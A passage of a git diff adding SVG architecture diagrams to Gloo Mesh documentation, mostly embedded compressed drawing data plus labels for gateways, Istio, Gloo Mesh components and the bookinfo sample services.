1XHUwMDE4iPMqbdK9gusmwVx1MDAwNlx1MDAwN+70hDhV2Fx1MDAxNMVcZiRVeyfJ1sPV1UPzgkXxXb9WUJdv1/vvzkdcdTAwMWH2WFxmUPVcIonupFVLvpyPmjfhu7vUs9iv7eOvcUe16LWMlVx1MDAwN7NoajpcdTAwMGUnYpeF7Gy//j7f8alcdTAwMWR8WD9K5XzDXHUwMDEzUiqmXUtwK8a52ip52Hs5XHUwMDAzTKm8XHUwMDAwnHJcdTAwMGJcdTAwMWRcYsBcdTAwMGZBqbQpusDV35Xcf1xuNuXDRdaLJm3ApNyrbLh3+aBYXHUwMDFiz/7mzvTRbaV23s5cdTAwMGbpfTpHny7rTfEs48H2d4HhZlx1MDAxMVx1MDAwMuIjiZCKSLxi1yAtLMk5XHUwMDE3hIOcsf1qqbpcdTAwMWVcdTAwMTIyXHUwMDA32uRcdTAwMTRcdTAwMTjAJCFUnPBcdTAwMWPQa0uLYPoue7r7MolHmpNs6epqMn1cdTAwMGZ6YEBzPFx1MDAxZZRbvcDFXHUwMDAzOMzLU7/dw1x1MDAwMLB7vWRYVlxm/7P3XFz1XHK/83zIwVRxajri4nkvK1x1MDAwNHquljVcdTAwMWPLX1x1MDAwN2acXCKBXHUwMDE5P5KGI20x01x1MDAxMlx1MDAwZUCVUtPDcV3hlbK0aThj2rpcYq71Wi14bDrkanuB8e99ZOZ2MOa9jZytxFx1MDAwMVxiPG/rLFxiSDqm3nFcdTAwMDBcdTAwMTgxvWNcdTAwMWNcdTAwMDBTxftyNq9cbtVuuHaXZI/1XHUwMDEya7hMSlx1MDAxMFx1MDAwMVx1MDAxYorgjIJgIabX5kSQRTQhQLyQllx1MDAxY97M1ib1rc7r3MXbvNZcdTAwMDR7Md4/9t9bY1x1MDAxYmFcdTAwMWVdfJCJo7OH3Pl28UF3g2Fy8nLHVf08+ZLk7dx5Nug2XHUwMDA0xkLa+6SqXHUwMDE1dEOSbOaX3SC22LXMo7Sk7aWIQ6dcdTAwMGJbMbfPstRgTih6RFx1MDAwN21Azv+XrnwntXZ9rOZcdTAwMDU6v6VcdTAwMWG7mSDE/cRdUVx1MDAxM523TbPjW/588Zh8XHLdjVlcdTAwMWKl3u9b51x1MDAxN+PAV8RQJo6KaqHI/CddXHROllJbXHUwMDA0YcZcYpVUK+mqw5tcdTAwMWO6u5ZqletKa2/79dGORlwirIhWx8u8P67S7uRcdTAwMDOYYGfzXy298/g2XHUwMDAxzGMnXHUwMDA1XHUwMDAzO95NwYhcdTAwMTTCNIDbPKblvZvPjN4vXHUwMDA3iW5cIjnO9Vx1MDAxYTn83mtcdTAwMDVdwTQjXHUwMDE26I6pY2Z+XG5cdTAwMDdcdTAwMDWzbZJcdTAwMWVl+vZQMOJUlm9NwbBcdTAwMDZccmOaXHUwMDFk0ctcdTAwMTZEXHIjXHUwMDAx0TCyq4a5bmGmvaVk2/DQxPSxVFVXSLCx5jgrXHRrRN36rVx1MDAwNUbDsNDK4ti1XHUwMDEwplGxTVLcjr+FgVkgjSfgiOXy9vGite+bxavyfSpcdTAwMTRqj5LV+3apcM1dKqRcdTAwMWTdi/b37JBcdTAwMWU9xVx1MDAxMGVcdTAwMDJtU/syXHUwMDFiuz7nbJSaheroKVx1MDAxN1x1MDAxMeGnaj74XHUwMDE5qlxuS4uyTztyNVnG6K/ZXHUwMDFlXHUwMDExqDZcdTAwMTLc1nLs6/dIIKDGzUC/q+X4d26R0qu+rMnItCc8+ulYronvq2NcXMVXulwih9XqdFi6SXxcdTAwMGJcdTAwMWQz3fkk/vVzVcc4/lxuXHUwMDFkc0hBW9cxzjDYXHUwMDA19lxu33+DjtGA6Fx1MDAxON0jLE5SXHUwMDBmp6hcdTAwMDB0J2yL5r+3j7dvqVx1MDAxNzGKoejjsDK5eZtcXL9cdTAwMTddXHUwMDE0LSDnPUxJXHUwMDBio0VhLLaaIUWJxTnQayXNXHUwMDEx934pUlx1MDAwN85hoPB0JOJH9K/sXHUwMDEzXHUwMDE4142cdyvPXHUwMDE411P4PVrt3s46zfFVcCPYvltcdTAwMGXDkZb3e1xye6xcdTAwMWOG77Jcbn5xfM43XFxcZruGXHUwMDAxx47jU8Q1XGbbNOBWRIkt/Pfe61x1MDAxOVBixzTx3nE4stCBdpyDJEcoc+Z80vjrXHUwMDEzsLtcdTAwMTFwpmppWD2761eded6R4vl8ONQq+1ua5+480Fx1MDAxZT676pNcdTAwMTRGJ+31nfzUsl2pdmtXz1x1MDAxN9HM44hcdTAwMTRcdTAwMTP1XHUwMDEyem3IXWjg16VHMMUtschXsrto50pJsbJcYohcdTAwMWFlXGZsU+Wqk1+fXHUwMDFloZTmzLQ4XHUwMDBiJFx0fCVVmc6Uz1EmVM88X1xcl8OX6fT+XHUwMDFi6ZGG/cmO+I5P7btcZutH1pxveEKy5lGg1zTu46aUzsabgvdyXHUwMDA2lqsh722BcktcdTAwMWVmWzhcdTAwMDRVo1hcYoboXHT3glx1MDAxMzA1ID5n09a4eXbZm/SduylcdTAwMWWLq/lcdTAwMTCdVa62MtPd2Zrg7lHagmEgXHUwMDA0Yosj5NgwXHUwMDFlmzWz+fOrVLb70FDpK5RWQffaMYvY1HI5jpEzJCxFXHUwMDA1/Fx1MDAwZiGlkUeU9lx1MDAxZXWNdqNrXHUwMDFhMcxcdTAwMTE6YWF7rz3v4TzVTzzXZ/l45k28yPA5XHUwMDFkN/vB5VXfzWd3pOU90rB5ndaKquxz+ykxbKhp5PVl+nyAVbhtoVBXNlx1MDAwYrnnXFwyM1x1MDAxMZ2QqDVcdTAwMGbhtMuiimyU0PBcdTAwMDbnx7lSNIKi+KV3gHEnKdpOTFx1MDAxM1x1MDAxMTqZjNrVWCeByvhcdTAwMTDsvYsqV5eT+uVr5GrUQ++x6lx1MDAwM3rcMFx1MDAwNeprxcGPuDrf8ITEVVwidy+jwFx1MDAxNDHGt1xi0fBez6AyV6U9d0jCLLrJXHUwMDBl+UVVxDWWJl/xiMmKXHUwMDAxZK7RTr9/dltcdTAwMWI1v9zJ6EP5Vonr8kT34K3SveOL5lxuy63COrqDvFx1MDAxZWZns0gx1KxNU5H711nNrVx1MDAwN3hAeSvlK2qpucWQlNqUobVX6zxo5ONup81cdTAwMTh0YFx1MDAxZfJcdTAwMWNI5opcdTAwMTRPJy5n5+HoqEa6pUKlf+22+f8w1+3HPdLyfq9hj3XafPDp+lx1MDAxMTbnXHUwMDFinpKweVx1MDAxY1x1MDAwYjPMKNFsi2Nh7/X8JoRtdWvgmFh6k63hq1pcdTAwMWRLUz5VqVx1MDAxMzaSP1x1MDAwMWW7XHUwMDFljVv9L6drPkxnla4tJrmTMlxu7VrlxeSnYKq2cC6GXHUwMDBis+eyqHbzWpd5/O06V33LurWCXGKMLnIkLWV7reSnmFx1MDAwMvVcdTAwMWK5/feN0NB4XVx1MDAxM+la9C3BlFx0yVFAa1x1MDAxOddQ4nE6rejbWWRcdTAwMThSk0jjbtSKb7Zr7rNcdTAwMGY56vnGlV5cdTAwMTK1Rq3nrOS2kOivXHTw/ZjLblx1MDAxYqtyXHKkh1x1MDAxZIZKYefzvtmcXHUwMDE01zpDXHUwMDFkKTZvRqN+tpu6XGYl3eI6XHUwMDAyo8uYam2ZrHBQVqZcdTAwMTXRy7pMtZBcdTAwMTbiny+2l83lqc3SIeNsXZux0oiZtNNAKvPN6CpcdTAwMWNcdTAwMWbEJldccn5fzdduWCZ5XHUwMDExXHUwMDBlujJfdFpLXHUwMDBm5JTK/DFcdTAwMTdPZfbo0uS+NVx1MDAxM7jGiVx0XHUwMDFi3FifvVx1MDAxZmYgXHUwMDFkKEA+uCWxaeXAXHUwMDE1QYSqXHUwMDE1bVbMUlx1MDAxMmNsalx1MDAwZlxigffLinHv02SqXVxiqTnciWAlXHUwMDFjeppIy1x1MDAxMHlCQZ9hunbY+VB0XHUwMDAx1Fx1MDAwMbHvW1x1MDAxZGHD+kzem8aZvXFcdOZcdTAwMDIpzaWGh4xccrmyveujJ1x1MDAxMrOIIIIqJaRCXFz9bubhUp7p21x1MDAxNlNcdLlLmHmtydZivH/sv91cdTAwMDBmXHUwMDBlfk74QolrYFx1MDAwMSw5J/BMNoeX3Cj6ctnTt53HXFzovTh+yqvzplt1laDAi2TYXHUwMDAyXHUwMDEwmXeZJVx1MDAwMpZ4mfgjqi1cdTAwMDZGL6iI8Uh4MP9aXHUwMDE515g3ujhcdTAwMDaBUmVcdTAwMTFcIjRYXHUwMDE3QmnNhHAwxjmytDDte0yjMlx1MDAwZVwismZcdTAwMTEg02GLMOKHLeFcXGNQfiwlyKCRzeWS9VSvXHUwMDEwidmV83JcXCRTkntcdTAwMWXGKjepl4e65MV3e4L5v+Vz0q5W6Ut52GhcdTAwMGWT+el7L1OwXHUwMDFmjlx1MDAwNtb8XHUwMDBmREWmpWtcdTAwMDdFXHUwMDEwwi1cdTAwMDZ2K0dcdTAwMWHglOhcdTAwMDX33OjT7lJoXphY81wiXHUwMDE1nCktTJ6C3G+8NXn2XHUwMDFiXHUwMDBlXHUwMDFk7tPb1qVyhU5MXevmwPeViG3TYKB8fTtcZr+1rjqoU3vT+d6g81x1MDAxMilcdTAwMDRcdTAwMWQ6hVx1MDAwMOrFXHUwMDA0XHUwMDA24kU5W6mNO4dOXHUwMDA0+7pSWplcdTAwMGWAh4fOxXxcdTAwMTaF5NYkdc3cQlx1MDAwMlx1MDAwYo79nSc/UPmnQuXSu72wbV+AcFx1MDAwZtrEWlx1MDAwYsXZNkGbjXY+Nok2XCJlMbpcdTAwMWU9VuqJViT/rVx1MDAxMIIu97XnyFx1MDAxNDQgkmPGJFHavYL9zlx1MDAwMOGBXHUwMDA2n4ixVnlcdTAwMTJzTjGB9/o5ZH5cdTAwMDDiT1x1MDAwNVxid7lZ+fhGXHUwMDAw4Vx1MDAxOSGDkTuN0Fx1MDAxMjNcbsqzucO2U1x1MDAxZryP7m6Tj0/3+crL/WUjMXu4XHUwMDBmvMN2boNcdTAwMDFNNJ22XHUwMDE5wWy5/t4qkdjLXHUwMDA28/TXXHUwMDFlxlx1MDAxNJOAaFxi0N1cdTAwMDc9glxmXHUwMDBln/dwXGYyWPaD2KSv2ShfVrP5zPXwKd5cdTAwMWa/91VoKCubxkRcdTAwMTTTfNQr9nX8/C6TXG4/NMaN+5uVWIadYi3uJ493dHBcdTAwMWTpZFjjUXf1S5zGi5uNu7aUh4qKcKNcZsTuf1ilXGbGXHUwMDA1Rsg2aHCf4q3QuJm+vC68XHUwMDBlzidcdTAwMGaVt9f2NOiUgSlTXHRQKdB4peg6Z2BcdTAwMTZcdTAwMDJjXHUwMDAyNMzYV1x1MDAxZZVcdTAwMDI34FxmVVRnde1AXHUwMDFiQMc1cFx1MDAwMCaR4SdEO1WsNnlgXHUwMDEy1JxcdTAwMDFswYykQ1x1MDAxYT1cdTAwMDBcdKHweVx1MDAxZiR4fy40Wo34y915p9HJ9bvX0XycXHUwMDA0XHUwMDA0XHR+aMLSXHUwMDEyrtBcdTAwMDRkSaWJgH1AYoHZUll7031cdTAwMDDk3Vx1MDAwNHdcdTAwMTJhXG5VY2C5m4xoxFxuwy6kiL2P5vwqyFx1MDAxY5dcdTAwMWF2XHUwMDE44CaCXHUwMDAzP/FcdTAwMWKPW6ZcdTAwMWGzXHUwMDAyXHUwMDExpprad6v5cNgyyWNcdTAwMDZTlGZIY+Y3XHUwMDFjfCeCKCgmNi9qXHUwMDA0XFyuTlx1MDAxMHHg8pJSqpCQwm/EvVxcM7VOpzVcdTAwMTg5I6mUrlx1MDAwN2eYXHUwMDEy2LpcdTAwMTnmm1x1MDAxYl935FVR1sxcdTAwMTRE56GPrshcdTAwMTNGg+Y3QFJsnioxjmuyXHUwMDEy0YKYsCjsKdQ0PVx1MDAxMdgjY25cdTAwMWYgxcCjOdxAYVO3XHUwMDE4IVx1MDAwN/vL4z2/XHUwMDE5lTLNIexcdTAwMDdcdTAwMTHBw9HdarpcdTAwMWWLUfmOXHUwMDFiLsxcdTAwMDYtVWDx/EV6/FZs34ZvY1x1MDAwZsdkPr9u23+/jTcjiGXIS2Y6K7Zyl2Jka13mXHUwMDFj2/KrNqLgXHUwMDE2iIamgpuffMXXiKW2JMVCUlx1MDAwZehpi976LGuIXHUwMDFkTmxtsVx1MDAxOOs6dIhcdTAwMDD8bewt19In1dKoWdtcdTAwMTFcdTAwMWGOfMD8u1wiXHRsXHUwMDAzsMDrXHUwMDFkXHUwMDFizddyhWGDwYRcbrlcdFxub1x1MDAxNbJyXCLGv1x1MDAxMOPPznvj2rBbq7ZghLOLc5tYbFx1MDAxYtOyY5SKc9jLXHUwMDE2sSur38BzN3ZccmLR2qu2q8mOJnjz5Dzvp1x1MDAxYsytXHUwMDE4iJJcdTAwMDX0XHUwMDBi+CAx4d5yJTfPRJdyjSmex6NcdTAwMWQngkVJy1Q1V2DWUCaZdijzXG6zMPWdXHSwTpMxaZ/I71x1MDAxNp/KVH09YYPBL1x0YPHepc6WenlcdTAwMDHwXHSlMWZcdTAwMTTIXHUwMDE0olx1MDAwZVx1MDAwMSzIXHUwMDAyUkO5MlWMtVx1MDAwMKr98Vx1MDAwZZdcYlx1MDAxNrdJeXv2zuxRNZSC5YCBm1PTQ8nuu1xczFx0zFx1MDAwMqmBVyHYOiWna3P6VrEzrrI9v7om1ltaXHUwMDE57rEz7iXUXHUwMDAw16RcdTAwMDJcdTAwMDNoi/Od+PDyNvKCbmLZXHUwMDFi9ZbXb1x1MDAwZrORXGZ4ciMmJvjOXHUwMDE2PLOCa0RcdTAwMGJ78MxcdTAwMTFcdTAwMGV4XHUwMDBl4rGFXHUwMDA3aeqnKOXHm+LNUT5cdTAwMTE7R+30Xas4bURcdTAwMWX6o/O2XVx1MDAwN3P98f3T7Wvn4rJ4KabJcLlC7+zlPv9t3N+17jv06vy9fK97l/nrq5tLZX/DjyfnJ3jmr1xinpHuZcglQtjk2mzOXHTxtFi77ZDszWxcdTAwMTiuVqZPNI5wJ+DYSWFcdTAwMTemi+iZxXJ8QmdcdTAwMTCDZyTAJJFI+MVcdTAwMTn+QOWfXG6VX1x1MDAxNTzjXjmCXHUwMDE53zdcdTAwMTVbtCloXGZen2OVx9HTdTlUXHUwMDE0qFx1MDAxZXlD0dG3wlx1MDAwN6pXXHUwMDBiXHUwMDExXCJcdTAwMTXE4Fx1MDAxOW5KesNcdTAwMDP6wYf59b9cdTAwMTBcdTAwMWa+NHbGvWtcdTAwMTDYJliTpbp7fihRmExcdTAwMWbK1WzsrXWT63KdqlxcvlfdLLDgXHUwMDA0z8xtMFvwzMo5z1xukVxievBcZiFYXHUwMDEw35OeIIPD5z3+7thcdTAwMTnPcdkgV3gqVdDoonD3npmVQlf15/xm4649ouPH5HCPXHUwMDBlXHUwMDE2QmtB7M1cIv1A5ir5kCe95+6trOjHfKc7aGWu3lx1MDAwMk5FiMaWXsTksLVS+dhcdTAwMTaTc6yj5IPE5ChcdTAwMTP8L1x1MDAxNPdcdTAwMGLtZblcYsmnks/pwfT+JcNCt5Hcy11AXHUwMDAw5od9LC3hT0jOd1x0yVHY3edcdTAwMDN2XHUwMDBlQOk2NZ/6zV61XotcXPWi569cdTAwMTnJiuHnxFvjXHUwMDFiXHUwMDAwqbCF5Czw6cOmo98mJlx1MDAwN0khXHUwMDEwI75VK06JpD9BOXv27nKvPYHhjorYT8D89DXZXHUwMDE45F+SzcyLxqm4ymaKkVLZLTn8XHUwMDE0oTJuUXREWnxcdTAwMTF4tGJdcSbtcUf7NYt0bclqXHUwMDBic/aqIyOlNMefX1x1MDAxN/7zVVE5QbQlXHUwMDE2grtLgZphvz8+q5jgnXqrXHUwMDAyt/SL2fmaUjVrs/JEXHKPojXSNaWJUqLJUlxiiVx1MDAxZm54P99g7vNcdTAwMTJLS4HwwFx1MDAxN9VcYvbJlYZ/nDLAXHUwMDE0+LNcdTAwMTSKcC/f7Vx1MDAxZVx1MDAwMT+mbo7QMFmMXHUwMDE5Y4Iwh+bpWGlcdTAwMGJYKINcdDNzJLdWXHUwMDAzmGKmgav84Vx1MDAwMT/eW9PZUsBcdTAwMGY1TjZcdTAwMGXc3ZB9plx1MDAxN/2Bzj6ja6hcdTAwMDXGMDB7peBBK2DzXHUwMDFm79gy4sfbXHUwMDFkeWaP+CFgmXBFXHUwMDExbELwqMH0WZuUtpBEkmujfUojvDalb1x1MDAxNfDjLtvzy2tivVx1MDAxOPBcdTAwMWb7b+cgZfKML/B0Mpw+zVx1MDAxMtW7yUyJ1KONXHUwMDFlucDfXFzvsUD2KOVVVyxdXG5S5msqK5BTIVZbWO1PlPJcdTAwMWVRylx1MDAxOIExY1pcdTAwMWasufPmSOheqJ6YwD0tN6qbuFxuYEs6slx1MDAwYoRcdTAwMWTYO8JWXHUwMDE0xdf9weTSLUIgjn5cdTAwMWZcdTAwMTErdyHEwYuwLfD442U4OeiMounUa6syqz2kumhEw5cuKFx1MDAwZaY3o6b7XHUwMDA0MTX0XHUwMDE0tfl0Plx1MDAwMFNYXGbMdExcdEdMXHShfEB8b6T0XHUwMDAwpHqxLy6z8WR0pEalRKX+1lxmvetcclx1MDAwMYmrJUBajTJh1Fx1MDAxYpG4k5v1XHUwMDA3kVx1MDAwZYRIxDhXiL3QhFxykIT70aapdFxij2uj4NJgXHUwMDAzUlxik2V4wdr/M0yt4Is/JIVsgvzrM3bPalx1MDAwMDBcdCCJXG54qOZcdTAwMDTFdFx1MDAwMVd8XHUwMDFkksgqJO1ILHFcdTAwMWblKipcdTAwMWVLJp5i7ziSo+e9cslcdTAwMTEosYmclmDDmMrXQF+kWptcdTAwMTSwXVx1MDAwMFBzpsK45Fx1MDAxOMBkbVK7w+E/XHUwMDFmXHUwMDBm5d/SYJBcdTAwMTlcdTAwMWKL9Pe3+nfSqk3D7r2W//mYgIGSmvku//P//vl//z9Klt3RIn0= + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClientintermediate CAroot certificate \ No newline at end of file diff --git a/gloo-mesh/platform/2-4/airgap/default/images/steps/traffic-policies/gloo-mesh-traffic-policies.svg b/gloo-mesh/platform/2-4/airgap/default/images/steps/traffic-policies/gloo-mesh-traffic-policies.svg new file mode 100644 index 0000000000..5809d9e18a --- /dev/null +++ b/gloo-mesh/platform/2-4/airgap/default/images/steps/traffic-policies/gloo-mesh-traffic-policies.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3dcIkm27nv/XG6tvq9DnvDmvMkgXHUwMDA0skhcdTAwMTihO3excMKDhJU46/z3u4OqXHUwMDE2XHRkJIlwyZSYXHUwMDFlqlxuXHUwMDEzXHUwMDE5RG7zbf8/f52c/D34fKv8/d8nf1c+SoVWvdwrjP/+l3l9VOn1691cdTAwMGW8Rab/7neHvdL0k7XB4K3/3//1X4W3N2f2LafUbf/6ZqVVaVc6gz589v/Cv09O/mf67LpWr1JcdTAwMWFcdTAwMTQ61VZl+oXpW7PLXHQkXHUwMDE3X73rdqaX5lx1MDAxOFPJsUBfXHUwMDFmqPcv4HKDSlx1MDAxOd59LbT6ldk75qW/R58vycwrP715yj42VP4uVqnmsrOrvtZbrafBZ+vX7yqUasOea0/9Qa/brGTr5UFcct7HXHUwMDBir399r9+FXHUwMDEzmH2r11x1MDAxZFZrnUq/P/ed7luhVFx1MDAxZnya19Bs+79cdTAwMGXhv09mr3yYn6lcdTAwMTFzXHUwMDE00pzQX89f75rvXHUwMDEzplx1MDAxZMWV4FJopinicmFj591Wt2c29n+Qkq+8ONtasVBqVmF/nfLsM5hcdTAwMTSVXHUwMDEys8+Mf/9cXIKUQ1xcXHUwMDBmJr4+UqvUq7WB+VxmXHUwMDExjnY/2Gwrlek9UVJiyoSYvWGu/1x1MDAxNi/PqGP66kU5mqyevV09lF+SY35auzy9Pnv72lx1MDAxNHxgOHy4yZSS40/xctNM03bpfHB5+/fv9//f4q2pXHUwMDE1em+/b8HfffNcdTAwMGbXXHUwMDE5mJ9cdTAwMWZdJFE3mbrIp9tsqP7tPet3zyaqx6uNj2facm3LRdOFXq87/vvrnf/9l9+6zd5LUU1cIrWn+NlcdTAwMTmRtfRn6vzyMti6Sz95+FYu/GJcdTAwMDAsXHUwMDE4XHUwMDE3WFDGiJzRTKveacKbnWGr9ZdrZ+syJbIxJWaYXHUwMDEyrVxiU4G5MtK/Ped6rGjtXFw99vP9xFvy7SbsXFwp4Gc6QiuGyfRcdTAwMTnPcyXWXHUwMDBlUsBwWmOJOVx1MDAxMdTKlUxzYFp/riREXHUwMDE1K1x1MDAxZVxciVx0QXMspzy4Ui2xIZVaXG5cZv8/XHUwMDFjXHUwMDFiTn/gN9mwfZFvXGbHjY+3WD5byXS6LPGRXHUwMDFhb4FccpPVzjkpZ1x1MDAxNMjYXHUwMDE0vlx1MDAxY51F7kavNNRsSOy6UWOtOWOBmVDxilCdVOOW1d9cdTAwMTVcdTAwMTGvT48l9lx1MDAxMHomZJS6mZDMMyEnc0womZVcdFx1MDAwZq9cdTAwMWG50JowLNThePJAqvEwvMOYtqswITVcdTAwMTVcXFx1MDAwNeee88f+pXjv0WykXHUwMDE4qZFRLFx1MDAxZFx1MDAxOZfCr8Kkwlx1MDAwZfxONP21SKo57sGaODyYXG5D04cv91xmeoVO/63QXHUwMDAzWlrmIKXlPHcsM5BSoG1dXHUwMDBmvsg/mDNcbrBDsFx1MDAwMzLQJkrtSaYvc9GbQnGSXHUwMDFmpVx1MDAwN61C8Vxc0tJcdTAwMTaU2lM6Xs1QNri44o+XpdfKa/Qlc1x1MDAxYWbGdOOVXHUwMDA1xqRawH+Ki8B8OVSVVOLzlrTvyi/PzbPXaqubq4adL7miMlx1MDAxY3yp6Gq+xEuciFx1MDAwNdwmKVx1MDAwZqnKVnHinmmaSytQo5pSSohcdTAwMGVO0/VatsXxeen58amZPr/tpFp53FxyO01cdTAwMGLMtYOt5lx1MDAxMlNBzaXDIzUmXHUwMDEwlVxc/YFOjFx1MDAwMyE1pGzMI1x1MDAxOKJkLV9DYTLMytvEXfte3VXuy1x1MDAxZoPea/d2f8yDvsU8XFzJqULAXGYxhFxiZXPMwylzgNypXHUwMDAw1mBYUW3lnY1cXFxyUrA5xqDLvENdXHUwMDFh4jezXGJGOFg1XGZcdTAwMWSOWUKmXHUwMDBiqN13xsFGxXRcdTAwMWSrXUR6t7eV9Fx1MDAwM2o/TG7qXHUwMDE58v5ZT72FXlx1MDAxN1x1MDAwMI3a8VxynPs8vtmJKpBcYq2CNpgsQVx1MDAxYoKBXHLoIf1mf5Tkp9JuoysmMFx1MDAwMeRcdTAwMTQ8+POS69Zq1Xw6Kpu53Cm7fVx1MDAxYsviXHUwMDFlRf93eYUhO69cYs1cdTAwMWQuwSBCXFxcdTAwMDG58l2xilx1MDAwN0xcdTAwMDIohdxcdTAwMGa6xCuCaHZIa3xcdTAwMTNWSUR64/y4QVx1MDAxYvzqXHUwMDFly9PEJ3p4aoeaVTC1sYrSiip3zG1cdTAwMTWjsMZn8uHp9S6eT9zk3i5zb7Xr5pWFUVx1MDAxNlxifp5NXHUwMDE2/a27dFx1MDAwNHNhZ1x1MDAxM6JRUPNCXHRS0SV/RilWWLFcXPSASICQLDzxxTd8XHQhgVx1MDAxOcJcdTAwMTns60iVimTpp86YXHUwMDE3L1rNSPZcdTAwMDVfXzfki8W/NKh8XGaCuq3koF7sVyaKJJ7rref2a6TyTNlcdTAwMTbcYdF88lx1MDAxY9+yxLhbvMVcdTAwMGbPXHUwMDAzfX318bSFdUujYkxedM5cdTAwMWGpOn1SV5+pxnm0uIV1d3W821527tP/XG56wT1IzblccrlcdTAwMDWmXHUwMDBi3S1cbkxKQFxcXG46iyatkpj+x1x1MDAxOVZoXHUwMDAxXGLKT2byoG7G1+nj+25GzGeK4ktQupDDP8kjglIw91x1MDAwZmlKrlx1MDAxMpTfXCLfXHUwMDE5mXQ7g6f6pDKFV3OvXlx1MDAxNtr11ufcnZ7StfFcdTAwMDZ2qj3Y3cm/O1W44Ljw6b5cdTAwMGb9XG5cXMesx+a/eNqqVztTsVx1MDAwNTuv9Ob4Y1AvXHUwMDE1Wl9cdTAwMWZo18tlN+IowW5cbrBmL1x1MDAxZVx1MDAwNCp0e/VqvVNopVx1MDAxNja7tNX+oNBcdTAwMWKc1Ttl+MTisVQ65fl3NkBJrtDBokFBOGKaU1x1MDAxNFx1MDAxYye120WNXHUwMDFmS7fp/sdr/nxcdTAwMTTNvjaa6dDjJGbneYCJ4cVJXFwjjpQ78yh07O9cdTAwMGJcdTAwMTCenzWq9ntYfYpEXHUwMDFhPZ2f11x1MDAwNfnBSdvCSTs63lx1MDAxZC2LM52SKGXyxUYle45OY8kzNL5cdTAwMGLjKayCdd5cdTAwMTc8JKzTZPHVL1x0j5ViXGYzXHUwMDE03GXkf56hxXXcx71KNVx1MDAwZVx1MDAxYq7TXGJLJHSIXHLgXHUwMDAz4LpKoT9cdTAwMThX+oNcdTAwMDNcdTAwMDG7XHUwMDE12GZcdTAwMTHYfe32UMiOM2uQXHUwMDEwiJxhsFx1MDAxY2TwXHUwMDEwe3KSfMg/3SVH8i02blx1MDAwZdRphJ7b0kZ8kd0+q1x1MDAwNEzgmiAgyOnzfJWAXHUwMDA2U09QwShnkkikyMK+1spcdTAwMTnZMrBjRFNOpTrSeHq9nE8lXHUwMDA2Q1pLJtFN4YWXb6PR+Fx1MDAwZrDbXHUwMDE2sNvR8Vx1MDAxZdeyn29n5zfdXFxulMvfXGY/qjePOVg4jIe7XG4vel/wgHiRa6tHQHCwNylaI3Dif5whhYtcXFPsozikdrBLcdhT6HeCXHUwMDE2yVL2XHUwMDE1wVhTxEiY069cdTAwMGXhXHUwMDA27Fx1MDAwZurdsidExHLu01uDiCtA0pLvb2GH+1x1MDAwMobcmk6MteBA9FhcdTAwMDd39D+mJ/FeJ1ounkVz3Ums0Hw9QyzcwFAwaSw+SVx1MDAxMYZn4sp0+Vx1MDAwNVxmmSOZ5ExwRVx1MDAxNdY+KVx1MDAwNFx1MDAwMYChNXnsW8BcdTAwMTBcdTAwMTMuTerbsdbEZDNlRN9fXHUwMDA3b2fXMVp7ZWeVXHUwMDBmcv+DXGa3hVxmd3S8O1o2o5MmXHUwMDBmI9Vovtz0qmp8MXxcdTAwMWY3tnBcbrd1XHUwMDE0actaLt1I3z2NRCtcIiq1bdQkp1BJVlx1MDAwYqh3jTODdCF2gWL4vbNccsg5XHUwMDE02dpFg0V15i7ZaKl8nTdftrBu4fW+qOJZXHUwMDE5P009iPqkqZO5WjKMVLZcblwie1/wkFx1MDAxMFlZXStcdTAwMDRTSjDRa1TK+Z9nSDEy6FDho0MlcohLh9o7MOzJo0qQVkpi7KqHXHKd4jxcdTAwMDBGjrW63ZPbSr928u9OoTp3wHvwqK6AjotwebbZha1uXHUwMDBmN9tjKNZcXEJcdTAwMDZcdTAwMDYx0evYxG+ZzHhyS9jLa1nIRDd2l1x1MDAxOH9Ews7vUmLtaKFcYqe/nuf4nTHuKCG4Zlx1MDAwNFx1MDAxMfiLsoNmrFx1MDAwNCv45936MjzhXHUwMDFlXHUwMDFkXHUwMDFkqCsl/neVXHUwMDA1oVx1MDAxYVx1MDAxMYSOXHUwMDE0KMv4c4uNP65L7H38+XqHUEo+XHUwMDA0xFx1MDAxYZtoQ09pouZe9ZEmxW63We+8dk/G3V5cdTAwMTNuYKniKU5cYp/7ZnBxMui+2WTJ3OZcdTAwMTdcdTAwMDWHx758pcCvXHUwMDEz9Vx1MDAxMlx1MDAwM8IqXHUwMDA2MFx1MDAwMupXc1x1MDAwNLcyRc73XHUwMDFlh9JylqDv7YFUXHUwMDEwhUFcdTAwMDOpXHUwMDAxpIDddEbEXHUwMDAxXHUwMDAxXHUwMDA0XHUwMDAySWhKMaJcdTAwMWU1i8aG1yCHQFx1MDAxZVx0XHUwMDA0XHUwMDE0v1x1MDAwNFxiXHUwMDA0xUxcdTAwMDEvXHUwMDFjTjzspFxiy6ZcdTAwMTNnXCLmn+5j8Vx1MDAwMLpoyvKl4bRMz+GcK0ZcdII/kElcdTAwMWFwfahaeDObcyRmRPHfz1KT35/4wv3L2nj2XHUwMDFiXG79wXm33a5cdTAwMGbglz50652B5y86NaxZq1x1MDAxNJZ4XHUwMDFlVna/t8jDb2bF+Xs7+9vJjMqn//j6+//7l+enI3ZcbjSPJdqbrfeX+891QVxiXHUwMDEx9tpcdTAwMWaBXHUwMDE1VoxcdTAwMDXP4+g9nHZcdTAwMTNcdTAwMGavYtRcdTAwMWVdXHUwMDE23q/fazfxdOiFXHUwMDBm8cnUXHUwMDAz7DGfqWeVPUEqf2yyx11Y+yVspCt2/Eu6aGFsXHUwMDFmRlx1MDAwZeiR36142VxiXHUwMDFmRF578EHg2P6/O51Cu2KHXG7iu5bHplDBe4vfs1x1MDAxZLA1rV5SsEo1WyeelnmuXHJzk5vJZyxcdTAwMTeJXtFqM3PbXHUwMDBmO9tSXG7GgYVtpVx1MDAxMHOYYbOCPSvbUo9qVlx1MDAwZrY1XHUwMDE5tYJcdTAwMWMyoXaThjlcdTAwMDcq0duSUDD3M9wywWuH3zMkuF0m